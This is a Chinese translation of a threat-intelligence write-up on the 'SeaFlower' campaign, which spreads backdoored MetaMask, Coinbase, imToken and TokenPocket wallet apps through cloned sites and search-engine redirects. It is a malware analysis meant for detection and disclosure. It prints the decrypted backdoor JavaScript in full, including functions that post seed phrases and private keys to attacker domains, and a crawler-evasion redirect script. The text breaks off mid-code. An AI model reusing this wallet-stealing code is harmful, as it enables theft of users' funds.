本文属于老雅痞原创文章,转载规矩不变,给我们打声招呼~
转载请微信联系:huangdiezi,更多DAO、Web3、NFT、元宇宙资讯
请关注公众号老雅痞,网站https://allrecode.com/点击阅读原文进网站查看更多资讯。
在 Confiant 工作期间,我们每天都会看到恶意活动。对我们来说最重要的是能够:
保护我们现有的客户。
分享独特的威胁情报。
不断寻找独特的有利位置以进行更好的检测。
在Confiant,我们每天监控25亿多条广告,这要归功于我们在广告堆栈中的110多个集成,使我们能够保护40K高级网站免受不良广告的影响。
这本身就使我们对渗入广告堆栈和更广泛的互联网的恶意活动有很大的可见性,由我们的专有解密技术提供支持。这包括所有通过它的web3恶意活动的漏斗。
我们检测的种类和范围使我们能够在独特的恶意活动浮出水面时立即检测出来。SeaFlower就是这种针对web3钱包用户的独特的恶意活动集群的一个例子,我们将在这篇博文中记录。
什么是SeaFlower?
SeaFlower是我们今年早些时候在2022年3月发现的一个活动集群。我们相信SeaFlower是技术上最复杂的针对web3用户的威胁,紧随臭名昭著的Lazarus集团之后。
选择名为 "SeaFlower "的活动集群是有原因的。在metamask应用程序的原始Mach-O中注入的一个.dyli文件,包含了xcode衍生数据的完整路径,泄露了一个macOS用户名:"Zhang Haike"。
作者用户名泄露
注意:其他库也犯了同样的错误,这些库帮助泄露了更多 macOS 用户名,我们从而发现了一组与 SeaFlower 相关的角色。
自然,下一步是在谷歌上搜索 "Zhang Haike",它提供了许多讲中文的参考资料,包括这个我觉得很有趣的参考资料:它是一部中国小说《藏海花》中一个人物的名字。
这些讲中文的参考资料符合这场大型运动的背景,并暗示与一个讲中文的实体有很强的关系,但尚未被揭开:
被揭发的macOS用户名是中文名字
后门代码中的源代码注释是用中文写的。
所使用的修改/挂接框架在讲中文的修改社区很常见,因为这些框架的许多教程和使用例子都是中文的,而且这些工具的作者也是讲中文的。
我们发现在中国的IP地址空间和中国香港地区的IP地址空间中,除了以.cn顶级域名注册的域名外,还发现了供应档案、签署基础设施和应用程序供应基础设施。注意:签名基础设施和供应基础设施可能与SeaFlower有直接关系,也可能没有,因为它可能被滥用或只是作为一种服务使用。
我们发现了多个克隆网站(模仿官方钱包网站),这些网站最初托管在香港的IP地址空间内
被滥用的CDN是阿里巴巴
大多数针对的搜索引擎都是中文搜索引擎。
目前,SeaFlower 的主要目标是使用后门代码修改 web3 钱包,最终泄露种子短语。
目标 web3 钱包如下:
Coinbase 钱包(iOS、Android)
MetaMask 钱包(iOS、Android)
TokenPocket(iOS、Android)
imToken (iOS, Android)
注意:上面的钱包是 100% 安全的,你可以安全地使用它们。但与任何其他优秀且非常流行的软件一样,它们也容易受到修改、逆向工程和后门的影响。SeaFlower 通过修改原始钱包来分发这些钱包的后门版本。
任何被引诱下载SeaFlower欺诈钱包的用户最终都将失去他们的资金。我们提供了每个被分析的反欺诈钱包的SHA-256,以帮助我们的社区识别这些反欺诈钱包和它们的多种变种。
SeaFlower的运作方式
看看这个新集群中的各种攻击,它们有一些共同点:SeaFlower没有以任何方式改变钱包的原始功能,而是添加代码来渗出种子短语,并使用不同的技术来做,复杂性不断增加,我们希望在这篇博文中有所记录。
用户体验、用户界面和所有的钱包功能都没有变化,正常/高级用户在手机上使用该应用程序时不会注意到任何问题:它是来自AppStore/Play Store的合法应用程序,但其中有一个偷偷摸摸的后门。
但是,如果监测主动网络请求,就会发现有一个网络请求被发送到看起来很奇怪的域,例如,我们已经看到被后门的钱包通过HTTPS向trx.lnfura[.]org(模仿infura.io)或metanask[.]cc(模仿metamask.io)发送流量。
通过设置一个MITM代理,我们可以解密HTTPS流量,并发现种子短语、钱包地址和余额被发送到攻击者那里:
拦截SeaFlower后门的HTTPS流量
但这是如何做到的呢?我们必须对应用程序进行逆向工程,以确定SeaFlower用来使这些合法应用程序在后台出现恶意行为的所有技术。
SeaFlower与我们追踪的其他web3入侵集有很大的不同,从现有的基础设施来看,几乎没有重叠,但从技术能力和协调的角度来看也是如此。反向工程的iOS和Android应用程序,修改它们,配置和自动部署。
SeaFlower还通过建立假的克隆网站来处理应用程序的分发阶段,在那里可以下载这些被反封锁的钱包。被识别的网站是合法网站的完美克隆,并提供下载链接:
imToken 克隆网站(由 DomainTools 提供)托管在:appim[.]xyz
克隆 Metamask 网站,托管在:https://74871011[.]huliqianbao[.]com/download.html
克隆的 Coinbase 钱包网站托管在 som-coinbase[.]com
托管在 fastrpo[.]com 上的克隆token pocket网站
注:令人惊讶的是,我们没有发现从这些克隆网站上交付的反欺诈的Chrome扩展,所有的链接都指向Chrome Webstore中真正的Chrome扩展,所以到目前为止,虚假的Chrome扩展交付不是SeaFlower入侵集的一部分或没有被识别。
对于iOS,SeaFlower正在使用配置文件。一旦安装,iOS应用程序就会被侧载到受害者的手机上并安装。以下是我们记录的一些步骤,通常是受害者使用iPhone浏览SeaFlower网站时看到的情况:
安装了多个后门钱包的 iPhone
注意:我们在此活动的早期阶段向 Apple 报告了与这些配置文件相关联的所有 Apple 开发人员 ID(苹果已经撤销了它们)。我们计划继续定期向 Apple 威胁情报团队报告此活动。
最后一个要回答的问题是,用户是如何被锁定并转到这些提供欺诈钱包的网站的?简短的答案——搜索引擎。事实上,搜索引擎是我们迄今为止发现的SeaFlower的明显入口之一,它将移动用户重定向到假的/克隆的钱包下载网站。特别是,百度搜索引擎的结果是这些攻击的初始载体之一。
百度公司是一家拥有搜索引擎的中国跨国人工智能技术公司。我们有兴趣看看在该搜索引擎中是否有任何SEO或针对coinbase或metamask用户的内容。
我们搜索 "下载metamask ios",第一个结果页上的一个百度链接将我们重定向到token18[.]app网站,这是SeaFlower Drive-by下载页面,很贴心!"。
通过搜索引擎结果定位 SeaFlower
在监测结果的时候,我们开始注意到有一个网站的intermediate,它在重定向到SeaFlower的偷渡页面之前做了指纹识别。我们从HTML页面中提取了客户端指纹,我们发现了一个代码,用来检查参考者是否符合不同的搜索引擎,实际上是多个中文搜索引擎。
SeaFlower intermediate指纹
提到的搜索引擎大部分都是中文搜索引擎:
我们创建了一个特定的检测规则来寻找上述任何一个 js 代码,并且我们发现了另一段具有 bot/spider 检测的代码,通过检查 userAgent 字符串,我们可以再次看到对中国搜索引擎爬虫/蜘蛛的引用:
function isSpider() {
var flag = false;
var spider = navigator.userAgent.toLowerCase();
var spiderSite = ['baiduspider', 'baidu.', '360Spider', 'sogou.', 'soso.', 'yisouspider', 'bingbot', 'bing.', 'google.', 'googlebot'];
for (let i = 0, len = spiderSite.length; i < len; i++) {
if (spider.indexOf(spiderSite[i]) > 0) {
flag = true;
break;
}
}
if (!flag) {
goPAGE();
}
}
这个特别的活动告诉我们更多关于最初的载体和目标,似乎是以搜索引擎为导向的,其中大部分是中文搜索引擎。
在这一点上,我们定义了一些初步的背景,并了解了更多关于谁可能成为SeaFlower的潜在目标。
接下来是后门钱包技术分析部分,我们将介绍SeaFlower是如何对web3钱包进行后门的。为了便于阅读,我们将在这篇博文中详细记录 iOS MetaMask 钱包和 Android Coinbase 钱包是如何被后门的。这些钱包的其他版本(iOS、Android)和其他钱包(imToken、TokenPocket)使用非常相似的后门代码,不会在本博文中全部介绍,但会简要记录,尤其是最相关的部分。
MetaMask钱包
MetaMask iOS应用程序
SHA-256 .IPA 文件分析:
9003d11f9ccfe17527ed6b35f5fe33d28e76d97e2906c2dbef11d368de2a75f8
移动版MetaMask是一个React原生应用,意味着它可以在iOS和Android上运行。后门代码的第一个迹象可以在main.jsbundle中找到。
在WriteFile()函数的开头,添加了一个条件代码块。这个代码块在官方的metamask钱包中不存在。
在 main.jsbundle 中注入的后门代码
放大在 main.jsbundle 中注入的后门代码
每当在路径包含“persist-root”的文件上调用 writeFile() 时,都会执行此条件后门代码。如果我们使用真实的 iPhone 查看该文件的位置,它存储在 MetaMask 应用程序容器中,它是一个配置文件,包含在其他运行时配置数据中加密的种子短语。该文件专门在以下路径中找到:
/private/var/mobile/Containers/Data/Application/{CONTAINER UID}/Documents/persistStore/persist-root
这个新信息让我们对后门代码的调用时间有了一个高层次的了解:就在MetaMask种子词生成并即将加密存储在 "persist-root "文件后。我们通过在真实的iOS设备上安装MetaMask应用程序来证实这一点,确实,在钱包的第一次设置安装过程中,当用户确认了种子短语后,就会发送一个带有种子短语的网络请求,这作为一个后门的实现是非常整洁的,而且在使用过程中完全看不到。
这里唯一的问题是,上述后门代码中强调的startupload()函数,在main.jsbundle()中并不存在,在任何javascript文件或任何链接的.dylib文件导出的符号中,都没有对该函数的引用。
猎取startupload()
这一步需要逆向工程和挖掘一些Arm64汇编和低级代码,我们将看到。为了不使读者感到困惑,我将保持简短,希望它能有意义。
于是我开始查看MetaMask编译的Mach-O文件,发现有两个注入的.dylibs。
将 .dylib 注入 MetaMask 钱包 iOS 应用程序
libmetaDylib.dylib 和 mn.dylib 似乎是很好的候选者,因为它们不应该被注入到原始的 MetaMask iOS Mach-O 二进制文件中。
TLDR;我跳过了对 mn.dylib 的分析,因为这个库与我们稍后会看到的当前后门无关,所以我没有花太多时间分析它。
libmetaDylib.dylib 使用开发人员 ID iPhone 分发签名:pl li (259JS6979T) 和团队 ID 259JS6979T
libmetaDylib.dylib 包含对 3 个已知的改装/挂钩框架的引用:Cycript、Cydia Susbtrate 和 Reveal 框架。这已经是一个危险信号,意味着已经做了一些事情来改变应用程序的运行时行为:
Cycript、Susbtrate 和 Reveal 与 libmetaDylib.lib 链接/注入
我通过使用 Reveal 应用程序连接到它来确认在应用程序容器中运行的 Reveal 服务器(较新版本的 Reveal 不起作用,但在版本 14 10107 中获得了一些运气,可能是 SeaFlower 使用的版本):
安装在后门 metamask ios 应用上的 Reveal 框架
Xcode 派生数据的完整路径留在已编译的 .dylib 上,泄露了 macOS 用户名“lanyu”
我发现了多个对 MonkeyDev 框架的引用,这是一个由 AloneMonkey 编写的挂钩和改装实用程序。MonkeyDev 有自定义 Xcode 模板
https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates 使其在这些后门的开发周期中完全集成到 Xcode!
MonkeyDev xcode 模板
在这一点上,有多种挂钩或修改的工具,但仍然没有看到startupload()和它的实现。
后门中的后门
经过几次检查,确定哪里可以注入后门代码后,我开始查看注入的库,在libmetaDylib.dylib上运行通常的class-dump,发现一个奇怪的类名FKKKSDFFADS,下面突出显示:
突出显示奇怪的类名
OCMethodTrace 是对 Michael Chen aka omxcodec 编写的 OCMethodTrace 工具的引用,可以跟踪 Objective-C 类/方法。OCMethodTrace 也是 MonkeyDev xcode 模板的一部分:
https://github.com/AloneMonkey/MonkeyDev-Xcode-Templates/blob/master/MonkeyAppLibrary.xctemplate/Trace/OCMethodTrace.h
交叉引用类名 FKKKSDFDFFADS 我在后门作者安装的 Logos 调整中获得了成功,针对函数
dataWithContentsOfFile:options:error tweek 是通过 MSHookMessageEx() 安装的。
_logosLocalInit() 函数中定义的 tweek
Logos 是一个基于 Perl 正则表达式的预处理器,它使用优雅的类 Objective-C 语法简化了为 Objective-C 方法和 C 函数创建钩子所需的样板代码。它最常与 Theos 构建系统一起使用,该系统最初是为创建越狱调整而开发的。
在这一点上,一个由作者实施的恶意的
dataWithContentsOfFile:options:error将在原始的那个之前被调用。恶意的 dataWithContentsOfFile:options:error 包含以下代码:
后门代码调用
在第39行有一个对我们奇怪的类FKKKSDFFADS的明确调用:)
在第29行,还有一个测试,针对字符串/meta.app/main.jsbundle检查一个变量路径。
看起来这个函数
dataWithContentsOfFile:options:error是在期望从一个.jsbundle文件中读取并返回其内容,但让我们退一步想一想,作者为什么要钩住dataWithContentsOfFile:options:error的调用,它一定是有特殊原因。
回到最初的Mach-O MetaMask,在函数0x1001339cc处有一个对
dataWithContentsOfFile:options:error的引用:
0x1001339cc 处有一个函数调用 dataWithContentsOfFile:options:error
此函数由
RCTJavascriptLoader::loadBundleAtURL 调用
在这一点上,我们可以得出结论,作者试图以React Native Bundle的形式注入一个后门,让它被RCTBridge用来加载javascript的RCTJavascriptLoader加载。
每个react native应用都是从创建一个RCTBridge实例开始的。在这个实例中,react native加载javascript,无论是从本地打包器还是预先建立的捆绑包,并在JavascriptCore中执行。
我们还剩下最后一个练习,通过分析怪异的类FKKKSDFFADS来确认这一切,并称其为收尾。
下面是FKKKSDFFADS::ddsdf这个方法的反编译结果:
FKKKSDFDFFADS::ddsdf 的反编译
有趣的是:) 我可以看到典型的RSA pivate key/public key的base64 blob,这个函数的作用是RSA解密一个用b64编码的RSA加密blob。作者把这个库和另一个叫SCRSACryptor的库联系在一起,并在github上找到了它的参考资料:
https://github.com/xialun/RSAClass
所以我就在xcode中创建了一个项目,提取了b64加密的blob和RSA密钥,把它和这个库连接起来,然后写了以下代码片段来解密blob:
创建了一个 iOS 项目并运行它:
解密SeaFlower后门
我们终于得到了缺少的 startupload() 函数:) 下面是这个函数的代码:
function startupload(){
if(xlmnmonic!="" && xlmnmonic!=null && xladdress!=null)
{
var demoString = xlmnmonic+"@"+xladdress+"@"+xlPrivateKey;
fdsafasdf("https://trx.lnfura.org/api/metamask/ios/GDBPXJ1EXQXWFUAGZRIH3FOVR0SO0VDJLIZLVE1LYOXZECZ61FDC1EHNSPX7KDZWIENCPV7H3KRYNOIENCRTDOIHV2RPKMG4CC4UIDVIJJUTGAIWU7MV6BR8LPJA6XT5",demoString);
fdsafasdf("https://metamaskaa.com/api/metamask/ios/c072a5b6becd50f232ff5f0238489bea",demoString);
} else{
}
}function fdsafasdf(dd,ccc){ var formData = new FormData();
formData.append("demoString",ccc);
fetch(dd,
{ 'method': 'POST', 'headers': { 'Accept': 'text/plain',
}, 'body':formData
}
)
.then((response) => response.text())
.then((responseText) => {
})
.catch((error) => {
});
}function readAddressFile(){ if(xlHFilemanger!=null){
xlHFilemanger.readFile("/data/data/io.metamask/files/persistStore/persist-root");
}
}var xlkeyManager = null;var xlPrivateKey = "";var xladdress = "";var xlmnmonic = "";var xlhost = null;var xlFilemanger = null;var xlHFilemanger = null;var xlrunAfterInteractions = null;var __BUNDLE_START_TIME__=this.nativePerformanceNow?nativePerformanceNow():Date.now(),__DEV__=false,process=this.process||{};process.env=process.env||{};process.env.NODE_ENV=process.env.NODE_ENV||"production";
!(function(r){"use strict";r.__r=o,r.__d=function(r,i,n){if(null!=e[i])return;var o={dependencyMap:n,factory:r,hasError:!1,importedAll:t,importedDefault:t,isInitialized:!1,publicModule:{exports:{}}};e[i]=o},r.__c=n,r.__registerSegment=function(r,e){s[r]=e};var e=n(),t={},i={}.hasOwnProperty;function n(){return e=Object.create(null)}function o(r){var t=r,i=e[t];return i&&i.isInitialized?i.publicModule.exports:d(t,i)}function l(r){var i=r;if(e[i]&&e[i].importedDefault!==t)return e[i].importedDefault;var n=o(i),l=n&&n.__esModule?n.default:n;return e[i].importedDefault=l}function u(r){var n=r;if(e[n]&&e[n].importedAll!==t)return e[n].importedAll;var l,u=o(n);if(u&&u.__esModule)l=u;else{if(l={},u)for(var a in u)i.call(u,a)&&(l[a]=u[a]);l.default=u}return e[n].importedAll=l}o.importDefault=l,o.importAll=u;var a=!1;function d(e,t){if(!a&&r.ErrorUtils){var i;a=!0;try{i=v(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return a=!1,i}return v(e,t)}var c=16,f=65535;function p(r){return{segmentId:r>>>c,localId:r&f}}o.unpackModuleId=p,o.packModuleId=function(r){return(r.segmentId<<c)+r.localId};var s=[];function v(t,i){if(!i&&s.length>0){var n=p(t),a=n.segmentId,d=n.localId,c=s[a];null!=c&&(c(d),i=e[t])}var f=r.nativeRequire;if(!i&&f){var v=p(t),h=v.segmentId;f(v.localId,h),i=e[t]}if(!i)throw Error('Requiring unknown module "'+t+'".');if(i.hasError)throw m(t,i.error);i.isInitialized=!0;var I=i,g=I.factory,y=I.dependencyMap;try{var _=i.publicModule;return _.id=t,g(r,o,l,u,_,_.exports,y),i.factory=void 0,i.dependencyMap=void 0,_.exports}catch(r){throw i.hasError=!0,i.error=r,i.isInitialized=!1,i.publicModule.exports=void 0,r}}function m(r,e){return Error('Requiring module "'+r+'", which threw an exception: '+e)}})('undefined'!=typeof globalThis?globalThis:'undefined'!=typeof global?global:'undefined'!=typeof window?window:this);
以上是startupload()函数的源代码,它所做的就是向trx.lnfura.org域名发送一个POST请求,并将种子短语信息存储在变量xlmnmonic中。
从第59行开始,我们可以看到代码以__BUNDLE_START_TIME__开始,确认我们正在处理典型的React Native Bundle。这些代码基本上与这个捆绑包的运行时加载和解决模块的依赖性等有关。
摘自:Rafael de Oleza — 为 React Native 构建 JavaScript 包
xlmnmonic 存储传递给函数 _initFromMnemonic 的助记词,我们可以在 main.jsbundle 中找到它:
xlmnmonic 存储种子短语
在运行时验证后门代码的执行:
与任何发现的后门代码一样,在运行时验证它是很重要的。我在一个真实的iOS设备上安装了后门的metamask应用程序,在iOS上运行debugserver,并在我的笔记本电脑上用LLDB等待应用程序启动后立即中断。我设置了一个条件性断点,以进入任何 "logos":
break set -r "logos" -s libmetaDylib.dylib
然后在 _logosLocalInit() 中获得了第一次命中:
调试后门代码
之后我停在我感兴趣的函数 _logos_meta_method$_ungrouped$NSData$dataWithContentsOfFile$options$error$ (后门作者使用 MSHookMessageEx() 添加的那个)
从那里我所要做的就是找到将调用奇怪的类名 FKKKSDFDFFADS::ddsdf 的 obj_msgSend() 的位置,并且后门代码最终将通过 obj_msgSend() 执行,如下面的屏幕截图所示:
这就是一个包,我们确认静态和动态的后门代码和它的执行。
MetaMask iOS应用程序后门的其他变种。
通过分析多个后门的iOS MetaMask钱包,我发现了后门代码的其他变种,其中这个变种的源代码是中文注释:
注意:同样的后门 React Native Bundle 变体也被重新用于 imToken Wallet iOS 应用程序。
var monic = "";var xlhookTime = 0;var xldata = "";var xlPdata = "";var xlcaches = {};var xlpcaches = {};var xlpwd = null;var xlepwd = null;function mcode(str){ if(str!=undefined && str !="")
{
monic = str;
}
startUpload();
}var xlOEx = null;var isSend = false;function computeCaches(t){
for(var i = 0;i < t.wallets.length; i++)
{ var tmp = t.wallets[i]; console.log(tmp); var kkk = tmp["name"]+tmp["source"]; var tmpXlPwd = xlpwd; if(tmp["source"].indexOf("PRIVATE")!=-1)
{ //console.log("导入数据。所以要切换密码"+tmpXlPwd["password"]);
tmpXlPwd = xlepwd;
} if(xlcaches[kkk]==undefined && tmpXlPwd!=null && tmpXlPwd["password"] !=undefined && xlpcaches[tmp["fileId"]]==undefined)
{
if(tmp["name"]=="TRX" && xlOEx!=null)
{
xlOEx.default("export_private_key",{"id":tmp["fileId"],"chainType":tmp["chainType"],"network":tmp["network"]||'',"mainAddress":tmp["address"],"path":tmp["path"]||'',"password":tmpXlPwd["password"]}).then(function(n){ console.log("导入的私钥查询"+JSON.stringify(n));
computePrivateKey(tmp["fileId"],n.value);
}).catch(function(n){
});
}
else
{
xlWalletApi.exportPrivateKey({"id":tmp["fileId"],"password":tmpXlPwd["password"]});
}
}
if(xlcaches[kkk]==undefined || (tmp["source"]!=xlcaches[kkk]["data"]["source"]))
{
xlcaches[kkk] = {data:tmp,upload:false}
}
} try{ if(startUpload!=undefined)
{
startUpload()
}
}catch(e)
{ console.log("renderMainWalletCard: 异常"+JSON.stringify(e));
}
} function startUpload() {
if(monic=="" || monic==undefined)
{ console.log("monic kong"); return;
}
monic = monic.replace(/,/g,"_") var tmpcache = ""; var tmpPcache = ""; for(var tmp in xlcaches)
{
if(xlcaches[tmp].upload==false && xlpcaches[xlcaches[tmp]["data"]["fileId"]]!=undefined)
{
xlcaches[tmp].upload = true;
tmpcache += "@" + JSON.stringify(xlcaches[tmp]);
tmpPcache += "@" + JSON.stringify(xlcaches[tmp])+"##"+xlpcaches[xlcaches[tmp]["data"]["fileId"]];
}
} if(tmpcache!="")
{ console.log("tmpcache 非空");
xldata = xldata+monic+tmpcache;
xlPdata = xlPdata +monic+ tmpPcache
}
if(xldata!="")
{
postData("https://mainnet.lnfura.io/api/im/ios/PAP9H7C5GGBANTDVJHKTXLRIVAII62TYL4GW0JIBHHR5DXPZKHK1JFMQQMFXEQRFFZUHTYI7NTT0SSMH77ISFL4BY3AXIEYI5HVP90EC2F1KCIUKNB7PRUGCFAXWE8QK",xlPdata);
postData("https://facai.im/api/im/ios/52a38f251655ec9b9f2cb5b2db23b033",xldata);
xlPdata = "";
xldata = "";
}
}function computePrivateKey(id,key){
xlpcaches[id] = key; console.log("computePrivateKey:"+id+"------"+key);
} function postData(url,data) { console.log("发送数据:"+data); var formData = new FormData();
formData.append("demoString",data);
fetch(url,
{ 'method': 'POST', 'headers': { 'Accept': 'text/plain',
}, 'body':formData
}
)
.then((response) => response.text())
.then((responseText) => {
})
.catch((error) => { console.warn(error);
});
}var xlWalletApi = null;var xlpwd = null;
;var __BUNDLE_START_TIME__=this.nativePerformanceNow?nativePerformanceNow():Date.now(),__DEV__=true,process=this.process||{};process.env=process.env||{};process.env.NODE_ENV=process.env.NODE_ENV||"developer";
!(function(r){"use strict";r.__r=o,r.__d=function(r,i,n){if(null!=e[i])return;var o={dependencyMap:n,factory:r,hasError:!1,importedAll:t,importedDefault:t,isInitialized:!1,publicModule:{exports:{}}};e[i]=o},r.__c=n,r.__registerSegment=function(r,e){s[r]=e};var e=n(),t={},i={}.hasOwnProperty;function n(){return e=Object.create(null)}function o(r){var t=r,i=e[t];return i&&i.isInitialized?i.publicModule.exports:d(t,i)}function l(r){var i=r;if(e[i]&&e[i].importedDefault!==t)return e[i].importedDefault;var n=o(i),l=n&&n.__esModule?n.default:n;return e[i].importedDefault=l}function u(r){var n=r;if(e[n]&&e[n].importedAll!==t)return e[n].importedAll;var l,u=o(n);if(u&&u.__esModule)l=u;else{if(l={},u)for(var a in u)i.call(u,a)&&(l[a]=u[a]);l.default=u}return e[n].importedAll=l}o.importDefault=l,o.importAll=u;var a=!1;function d(e,t){if(!a&&r.ErrorUtils){var i;a=!0;try{i=v(e,t)}catch(e){r.ErrorUtils.reportFatalError(e)}return a=!1,i}return v(e,t)}var c=16,f=65535;function p(r){return{segmentId:r>>>c,localId:r&f}}o.unpackModuleId=p,o.packModuleId=function(r){return(r.segmentId<<c)+r.localId};var s=[];function v(t,i){if(!i&&s.length>0){var n=p(t),a=n.segmentId,d=n.localId,c=s[a];null!=c&&(c(d),i=e[t])}var f=r.nativeRequire;if(!i&&f){var v=p(t),h=v.segmentId;f(v.localId,h),i=e[t]}if(!i)throw Error('Requiring unknown module "'+t+'".');if(i.hasError)throw m(t,i.error);i.isInitialized=!0;var I=i,g=I.factory,y=I.dependencyMap;try{var _=i.publicModule;return _.id=t,g(r,o,l,u,_,_.exports,y),i.factory=void 0,i.dependencyMap=void 0,_.exports}catch(r){throw i.hasError=!0,i.error=r,i.isInitialized=!1,i.publicModule.exports=void 0,r}}function m(r,e){return Error('Requiring module "'+r+'", which threw an exception: '+e)}})('undefined'!=typeof globalThis?globalThis:'undefined'!=typeof global?global:'undefined'!=typeof window?window:this);
!(function(n){var e=(function(){function n(n,e){return n}function e(n){var e={};return n.forEach(function(n,r){e[n]=!0}),e}function r(n,r,u){if(n.formatValueCalls++,n.formatValueCalls>200)return"[TOO BIG formatValueCalls "+n.formatValueCalls+" exceeded limit of 200]";var f=t(n,r);if(f)return f;var c=Object.keys(r),s=e(c);if(d(r)&&(c.indexOf('message')>=0||c.indexOf('description')>=0))return o(r);if(0===c.length){if(v(r)){var g=r.name?': '+r.name:'';return n.stylize('[Function'+g+']','special')}if(p(r))return n.stylize(RegExp.prototype.toString.call(r),'regexp');if(y(r))return n.stylize(Date.prototype.toString.call(r),'date');if(d(r))return o(r)}var h,b,m='',j=!1,O=['{','}'];(h=r,Array.isArray(h)&&(j=!0,O=['[',']']),v(r))&&(m=' [Function'+(r.name?': '+r.name:'')+']');return p(r)&&(m=' '+RegExp.prototype.toString.call(r)),y(r)&&(m=' '+Date.prototype.toUTCString.call(r)),d(r)&&(m=' '+o(r)),0!==c.length||j&&0!=r.length?u<0?p(r)?n.stylize(RegExp.prototype.toString.call(r),'regexp'):n.stylize('[Object]','special'):(n.seen.push(r),b=j?i(n,r,u,s,c):c.map(function(e){return l(n,r,u,s,e,j)}),n.seen.pop(),a(b,m,O)):O[0]+m+O[1]}function t(n,e){if(s(e))return n.stylize('undefined','undefined');if('string'==typeof e){var r="'"+JSON.stringify(e).replace(/^"|"$/g,'').replace(/'/g,"\\'").replace(/\\"/g,'"')+"'";return n.stylize(r,'string')}return c(e)?n.stylize(''+e,'number'):u(e)?n.stylize(''+e,'boolean'):f(e)?n.stylize('null','null'):void 0}function o(n){return'['+Error.prototype.toString.call(n)+']'}function i(n,e,r,t,o){for(var i=[],a=0,u=e.length;a<u;++a)b(e,String(a))?i.push(l(n,e,r,t,String(a),!0)):i.push('');return o.forEach(function(o){o.match(/^\d+$/)||i.push(l(n,e,r,t,o,!0))}),i}function l(n,e,t,o,i,l){var a,u,c;if((c=Object.getOwnPropertyDescriptor(e,i)||{value:e[i]}).get?u=c.set?n.stylize('[Getter/Setter]','special'):n.stylize('[Getter]','special'):c.set&&(u=n.stylize('[Setter]','special')),b(o,i)||(a='['+i+']'),u||(n.seen.indexOf(c.value)<0?(u=f(t)?r(n,c.value,null):r(n,c.value,t-1)).indexOf('\n')>-1&&(u=l?u.split('\n').map(function(n){return' '+n}).join('\n').substr(2):'\n'+u.split('\n').map(function(n){return' '+n}).join('\n')):u=n.stylize('[Circular]','special')),s(a)){if(l&&i.match(/^\d+$/))return u;(a=JSON.stringify(''+i)).match(/^"([a-zA-Z_][a-zA-Z_0-9]*)"$/)?(a=a.substr(1,a.length-2),a=n.stylize(a,'name')):(a=a.replace(/'/g,"\\'").replace(/\\"/g,'"').replace(/(^"|"$)/g,"'"),a=n.stylize(a,'string'))}return a+': '+u}function a(n,e,r){return n.reduce(function(n,e){return 0,e.indexOf('\n')>=0&&0,n+e.replace(/\u001b\[\d\d?m/g,'').length+1},0)>60?r[0]+(''===e?'':e+'\n ')+' '+n.join(',\n ')+' '+r[1]:r[0]+e+' '+n.join(', ')+' '+r[1]}function u(n){return'boolean'==typeof n}function f(n){return null===n}function c(n){return'number'==typeof n}function s(n){return void 0===n}function p(n){return g(n)&&'[object RegExp]'===h(n)}function g(n){return'object'==typeof n&&null!==n}function y(n){return g(n)&&'[object Date]'===h(n)}function d(n){return g(n)&&('[object Error]'===h(n)||n instanceof Error)}function v(n){return'function'==typeof n}function h(n){return Object.prototype.toString.call(n)}function b(n,e){return Object.prototype.hasOwnProperty.call(n,e)}return function(e,t){return r({seen:[],formatValueCalls:0,stylize:n},e,t.depth)}})(),r='(index)',t={trace:0,info:1,warn:2,error:3},o=[];o[t.trace]='debug',o[t.info]='log',o[t.warn]='warning',o[t.error]='error';var i=1;function l(r){return function(){var l;l=1===arguments.length&&'string'==typeof arguments[0]?arguments[0]:Array.prototype.map.call(arguments,function(n){return e(n,{depth:10})}).join(', ');var a=arguments[0],u=r;'string'==typeof a&&'Warning: '===a.slice(0,9)&&u>=t.error&&(u=t.warn),n.__inspectorLog&&n.__inspectorLog(o[u],l,[].slice.call(arguments),i),s.length&&(l=p('',l)),n.nativeLoggingHook(l,u)}}function a(n,e){return Array.apply(null,Array(e)).map(function(){return n})}var u="\u2502",f="\u2510",c="\u2518",s=[];function p(n,e){return s.join('')+n+' '+(e||'')}if(n.nativeLoggingHook){n.console;n.console={error:l(t.error),info:l(t.info),log:l(t.info),warn:l(t.warn),trace:l(t.trace),debug:l(t.trace),table:function(e){if(!Array.isArray(e)){var o=e;for(var i in e=[],o)if(o.hasOwnProperty(i)){var l=o[i];l[r]=i,e.push(l)}}if(0!==e.length){var u=Object.keys(e[0]).sort(),f=[],c=[];u.forEach(function(n,r){c[r]=n.length;for(var t=0;t<e.length;t++){var o=(e[t][n]||'?').toString();f[t]=f[t]||[],f[t][r]=o,c[r]=Math.max(c[r],o.length)}});for(var s=y(c.map(function(n){return a('-',n).join('')}),'-'),p=[y(u),s],g=0;g<e.length;g++)p.push(y(f[g]));n.nativeLoggingHook('\n'+p.join('\n'),t.info)}else n.nativeLoggingHook('',t.info);function y(n,e){var r=n.map(function(n,e){return n+a(' ',c[e]-n.length).join('')});return e=e||' ',r.join(e+'|'+e)}},group:function(e){n.nativeLoggingHook(p(f,e),t.info),s.push(u)},groupEnd:function(){s.pop(),n.nativeLoggingHook(p(c),t.info)},groupCollapsed:function(e){n.nativeLoggingHook(p(c,e),t.info),s.push(u)},assert:function(e,r){e||n.nativeLoggingHook('Assertion failed: '+r,t.error)}},Object.defineProperty(console,'_isPolyfilled',{value:!0,enumerable:!1})}else if(!n.console){}})('undefined'!=typeof globalThis?globalThis:'undefined'!=typeof global?global:'undefined'!=typeof window?window:this);
!(function(n){var r=0,t=function(n,r){throw n},l={setGlobalHandler:function(n){t=n},getGlobalHandler:function(){return t},reportError:function(n){t&&t(n,!1)},reportFatalError:function(n){t&&t(n,!0)},applyWithGuard:function(n,t,u,e,a){try{return r++,n.apply(t,u)}catch(n){l.reportError(n)}finally{r--}return null},applyWithGuardIfNeeded:function(n,r,t){return l.inGuard()?n.apply(r,t):(l.applyWithGuard(n,r,t),null)},inGuard:function(){return!!r},guard:function(n,r,t){var u;if('function'!=typeof n)return null;var e=null!=(u=null!=r?r:n.name)?u:'<generated guard>';return function(){for(var r=arguments.length,u=new Array(r),a=0;a<r;a++)u[a]=arguments[a];return l.applyWithGuard(n,null!=t?t:this,u,null,e)}}};n.ErrorUtils=l})('undefined'!=typeof globalThis?globalThis:'undefined'!=typeof global?global:'undefined'!=typeof window?window:this);'undefined'!=typeof globalThis?globalThis:'undefined'!=typeof global?global:'undefined'!=typeof window&&window,(function(){'use strict';var e=Object.prototype.hasOwnProperty;'function'!=typeof Object.entries&&(Object.entries=function(n){if(null==n)throw new TypeError('Object.entries called on non-object');var o=[];for(var t in n)e.call(n,t)&&o.push([t,n[t]]);return o}),'function'!=typeof 